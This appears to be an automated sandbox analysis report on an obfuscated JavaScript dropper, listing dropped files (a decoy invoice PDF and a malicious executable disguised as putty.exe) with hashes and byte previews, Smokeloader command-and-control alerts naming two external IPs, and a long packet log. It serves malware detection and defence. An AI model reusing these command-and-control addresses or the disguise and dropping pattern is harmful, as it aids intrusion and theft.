Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f4b03f0a-d3a9-49d1-aa36-5832ec473a50.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Roaming\invoce.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7, 1 pages
Category:	dropped
Size (bytes):	145906
Entropy (8bit):	7.98440757373446
Encrypted:	false
SSDEEP:	3072:BHFLlD17rM9RysW8uM5SWUE/xT9RQw0j1P+kHnNBZXBaLUTc7:BHFLlVyQT8up0Ew0jV+YNB1sQw7
MD5:	FDC7245B6A22AC73F789E4FD992EF5BD
SHA1:	B9210E44DD4A7905303383E8CF577A7D5C88FCD2
SHA-256:	9833CBD22FD50181F8939114920E883BACF8D727337F5DCDF4450D0312ECA188
SHA-512:	101CA7AE6D541A494FD1930FCDEB581E802B066274A3921B42C2894FF75BA12AD8D6119A3C1F2E8A2C45BDBA439622EA706599F8AFD496FE2474F3C8C3926414
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<<./Filter /FlateDecode./Length 2 0 R./Length1 43480./Length2 0./Length3 0.>>.stream.x...XTG.8^Uw.....o.4h..........THB.....kV5..L4..l3.L..E...'d_...,c...2f...3.8&J.?U.AL2......._..[.:u..s..6.#..h#.lm.:..S. .I....+V.L..B.`FH..b...7/.s.B.9........VB....3.......BuY.OjZ.y...R.x.B..U-..m....B6.^].y..A...e...._..... .eB....V.\|...m?.....A...n...P.B..G\.y.8.>.3......z.{..U..Cnt.{.DT.x.O...4..BNT......\h!*.<...[...k..D...............t.0.#.Q......F.%.)..............{....p....._=\|.Zu..<T.....>.&.[.m.Qy........f...-$8....(.j...S.....D7.{..{.Bw..Q..I-W(<.-..Eh.Z.......+....?G".B..S3..O.s.#.yx....b.^......1.[.8.?....P4:...Y...-.6t....O#3.3.(2..Y..G..._.....h6..._..X....{.K....(.z[..v....F. :...m>D...c.x).....I.y...{.{...c@.D..4.D....?..-,@.Y.._.[.v..\|.t...?y..=......c.3....<(..AW..@._.^...O.....;:..<.7..q7>..&2.G.I+..<B...q.s.....J.M...&...^.....#.T........c.....(z-p.#.9.6..>.......?._./.V:.&\|'~........D.;.L'E.j.i.:]G. wB.o.......

C:\Users\user\AppData\Roaming\putty.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	331264
Entropy (8bit):	7.31794844202294
Encrypted:	false
SSDEEP:	6144:xwOCfMLyi6hxoZ60dMEAaWC++mpFphvhusianDqFirYZFBkMB:xwFfM2i6hCA0WEB+f3hvjianSZFt
MD5:	C09AA26230A2083DA9032866FD33703D
SHA1:	2D1706C9D1BDCA15650A2AF93A7CD2B6D0D41780
SHA-256:	7A70F2C8E40FE861DB51E119D589C7C5D036581D7F46474B364B1280ED8A540B
SHA-512:	C3308BF60214A7EE9B9C2C65FA4D9DDF50A207CD90E67E5AC1BE03F08AE28D0302AC58FF882D3964C9991069197BF0ACAC6DB43DDFCA0AF34573B463DBF725EE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: #U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."...f...f...f...x.$.\|...x.5.T...x.2...A~.e...f.....x.;.g...x.%.g...x. .g...Richf...................PE..L....\.d.................l.......................@.................................#....................................... p..(....@...9...........................................................8..@............................................text....j.......l.................. ..`.data...........d...p..............@....rsrc....9...@...:..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\sarbjfc

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	331264
Entropy (8bit):	7.31794844202294
Encrypted:	false
SSDEEP:	6144:xwOCfMLyi6hxoZ60dMEAaWC++mpFphvhusianDqFirYZFBkMB:xwFfM2i6hCA0WEB+f3hvjianSZFt
MD5:	C09AA26230A2083DA9032866FD33703D
SHA1:	2D1706C9D1BDCA15650A2AF93A7CD2B6D0D41780
SHA-256:	7A70F2C8E40FE861DB51E119D589C7C5D036581D7F46474B364B1280ED8A540B
SHA-512:	C3308BF60214A7EE9B9C2C65FA4D9DDF50A207CD90E67E5AC1BE03F08AE28D0302AC58FF882D3964C9991069197BF0ACAC6DB43DDFCA0AF34573B463DBF725EE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: #U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."...f...f...f...x.$.\|...x.5.T...x.2...A~.e...f.....x.;.g...x.%.g...x. .g...Richf...................PE..L....\.d.................l.......................@.................................#....................................... p..(....@...9...........................................................8..@............................................text....j.......l.................. ..`.data...........d...p..............@....rsrc....9...@...:..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (26816), with no line terminators
Entropy (8bit):	3.5098045801291926
TrID:
File name:	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js
File size:	26'816 bytes
MD5:	f0f21a53585ee70adbe6004636da53f4
SHA1:	8123ab7729d5c1a339af4e5f6c93b68e1acdfaf4
SHA256:	292bda20c71cc52f49c84f40160d5747ed2c6ab24ce7a027d2808888438b93a6
SHA512:	46dfd0ac081b3ee3d07b42beeb41d8b97f335f5dcbfc430a28672fd0460d64e977d81f5053b642266495dd05d9f80cee393b9f6312bf580ff3e32d2bbd30d8bf
SSDEEP:	96:VmLALrz4Qmb+drOwdQAxkjddwcddSJdznbAPW5J/0wcZp4gh0suA+ZzbwZ76Xbds:VmMLrKb
TLSH:	79C26813D17C0FAD2CC2A8D5849CF25B738B8A761CE4B5C79919FD28AF075A88639C71
File Content Preview:	iG=102;wB=117;Sy=110;fr=99;AL=116;EJ=105;df=111;cN=32;sm=114;Xj=90;Vu=78;uu=88;XY=120;Zm=113;qp=40;oW=98;hO=121;iZ=69;Mi=41;tb=123;JI=118;iI=97;dS=82;Vx=73;cV=107;fw=61;DZ=34;En=59;MB=76;et=122;Zs=106;AK=85;Wi=48;cO=60;wD=46;BJ=108;tw=101;aM=103;Ll=104;QF

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T09:23:48.742075+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49708	94.156.177.51	80	TCP
2024-12-18T09:24:20.907909+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	49793	94.156.177.51	80	TCP
2024-12-18T09:24:20.907909+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.6	49793	94.156.177.51	80	TCP
2024-12-18T09:24:22.548445+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	49799	94.156.177.51	80	TCP
2024-12-18T09:24:22.548445+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.6	49799	94.156.177.51	80	TCP
2024-12-18T09:24:24.142189+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	49806	109.70.26.37	80	TCP
2024-12-18T09:25:31.432431+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	49964	94.156.177.51	80	TCP
2024-12-18T09:25:33.298643+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	49970	94.156.177.51	80	TCP
2024-12-18T09:25:55.153603+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	49974	109.70.26.37	80	TCP
2024-12-18T09:25:55.153603+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.6	49974	109.70.26.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 09:23:45.787338972 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:45.912235022 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:45.912410021 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:45.913357973 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:46.039210081 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.256933928 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.256951094 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.256963015 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.257004023 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.257092953 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.257106066 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.257117987 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.257133007 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.257133007 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.257335901 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.257349014 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.257360935 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.257370949 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.257370949 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.257534027 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.383728027 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.383816004 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.383882999 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.447877884 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.447978973 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.448615074 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.452336073 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.452519894 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.452593088 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.461194992 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.461308002 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.461492062 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.470052004 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.470180988 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.470248938 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.478980064 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.479118109 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.479176998 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.487817049 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.487904072 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.487946033 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.496632099 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.496707916 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.496761084 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.505554914 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.505698919 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.507819891 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.514388084 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.514445066 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.514619112 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.523159027 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.523272991 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.523336887 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.531999111 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.532066107 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.532484055 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.639190912 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.639277935 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.640165091 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.643549919 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.643660069 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.643774986 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.652421951 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.652545929 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.652657986 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.661935091 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.661950111 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.662055016 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.670455933 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.670614004 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.671339035 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.675069094 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.675126076 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.675221920 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.679790974 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.679961920 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.680377960 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.684832096 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.684905052 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.685071945 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.689403057 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.689466953 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.689533949 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.694128036 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.694236040 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.694281101 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.698916912 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.699034929 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.699357033 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.704096079 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.704185963 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.704560995 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.708425045 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.708683968 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.708755970 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.713504076 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.713517904 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.713617086 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.717936039 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.717983961 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.718103886 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.722738981 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.722789049 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.722876072 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.727623940 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.727637053 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.727745056 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.732240915 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.783555031 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.830096960 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.830132961 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.832488060 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.832509995 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.833455086 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.833466053 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.833509922 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.836333036 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.836355925 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.836385965 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.840914965 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.841032028 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.841574907 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.845994949 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.846020937 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.846065044 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.850622892 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.850687981 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.852291107 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.855901957 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.855917931 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.856097937 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.859766960 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.859863043 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.859865904 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.864129066 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.864262104 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.864303112 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.868169069 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.868236065 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.868269920 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.872308016 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.872383118 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.973315001 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.973371983 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.973432064 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.975619078 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.975635052 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:47.975687027 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:47.979638100 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.033262014 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.033298016 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.033854961 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:48.035367966 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.035425901 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:48.035510063 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.039380074 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.039431095 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:48.040810108 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.040936947 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.041258097 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:48.045015097 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.045278072 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.045335054 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:48.049048901 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.049206018 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.049458027 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:48.053133011 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.053312063 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.053369999 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:48.057254076 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.057389021 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.057533979 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:48.061438084 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.061781883 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.061837912 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:48.065490961 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.065547943 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.065599918 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:48.069528103 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.069638968 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.069705963 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:48.073601961 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.073724985 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.073788881 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:48.077739000 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.077810049 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.077882051 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:48.081804037 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.082094908 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.082184076 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:48.284965038 CET	49708	80	192.168.2.6	94.156.177.51
Dec 18, 2024 09:23:48.411802053 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.741123915 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.741144896 CET	80	49708	94.156.177.51	192.168.2.6
Dec 18, 2024 09:23:48.742074966 CET	49708	80	192.168.2.6	94.156.177.51
